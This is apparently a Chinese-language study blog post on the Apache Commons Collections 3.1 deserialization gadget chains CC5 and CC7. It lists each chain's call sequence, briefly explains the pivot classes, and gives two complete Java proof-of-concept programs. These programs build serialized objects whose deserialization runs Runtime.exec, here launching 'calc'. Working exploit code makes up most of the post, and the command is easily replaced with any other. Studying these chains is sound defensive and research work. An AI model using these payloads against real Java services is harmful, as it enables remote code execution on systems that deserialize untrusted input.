0%

CommonsCollections-5,7

前言

简单的完结篇,芜湖

环境

  • jdk1.8
  • Commons Collections 3.1

CC5

利用链

ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

分析

这里引入新类 TiedMapEntryBadAttributeValueExpException

BadAttributeValueExpExceptionreadObject 中调用 valObj 的 toString 方法 而 valObj是通过获取val的值来进行赋值,也就是可控

在 TiedMapEntry 的 toString 中调用 getValue 函数

发现在 getValue 函数中map key都可控,可以调用 LazyMap的 get方法

poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

//ChainedTransformer实例
Transformer chainedTransformer = new ChainedTransformer(transformers);

Map<Object, Object> map = new HashMap<>();
Map lazymap = LazyMap.decorate(map, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,123);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException,"val",tiedMapEntry);

//serialize(badAttributeValueExpException);
unserialize("ser2.bin");

}

public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}

public static void serialize(Object obj) throws Exception {
FileOutputStream fos = new FileOutputStream("ser2.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String Filname) throws Exception, ClassNotFoundException {
FileInputStream fis = new FileInputStream(Filname);
ObjectInputStream ois = new ObjectInputStream(fis);
Object obj = ois.readObject();
return obj;
}
}

CC7

利用链

Hashtable.readObject()
Hashtable.reconstitutionPut()
AbstractMapDecorator.equals()
AbstractMap.equals()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
…………

分析

Hashtable 的 readObject 方法调用了reconstitutionPut()

调用 e.key的 equals方法,最后选择 AbstractMap中的 equals方法,但是是一个abstract类,构造poc时选择其子类HashMap

调用get方法

poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
public static void main(String[] args) throws Exception{

Transformer[] fakeTransformer = new Transformer[]{};

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

//ChainedTransformer实例
//先设置假的 Transformer 数组,防止生成时执行命令
Transformer chainedTransformer = new ChainedTransformer(fakeTransformer);

//LazyMap实例
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);
lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, "test");
hashtable.put(lazyMap2, "test");

//通过反射设置真的 transformer 数组
setFieldValue(chainedTransformer,"iTransformers",transformers);

//上面的 hashtable.put 会使得 lazyMap2 增加一个 yy=>yy,所以这里要移除
lazyMap2.remove("yy");

serialize(hashtable);
unserialize("ser.bin");
}
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}

public static void serialize(Object obj) throws Exception {
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String Filname) throws Exception, ClassNotFoundException {
FileInputStream fis = new FileInputStream(Filname);
ObjectInputStream ois = new ObjectInputStream(fis);
Object obj = ois.readObject();
return obj;
}
}

参考

CC链 1-7 分析 - 先知社区 (aliyun.com)

CC链学习-中 - 先知社区 (aliyun.com)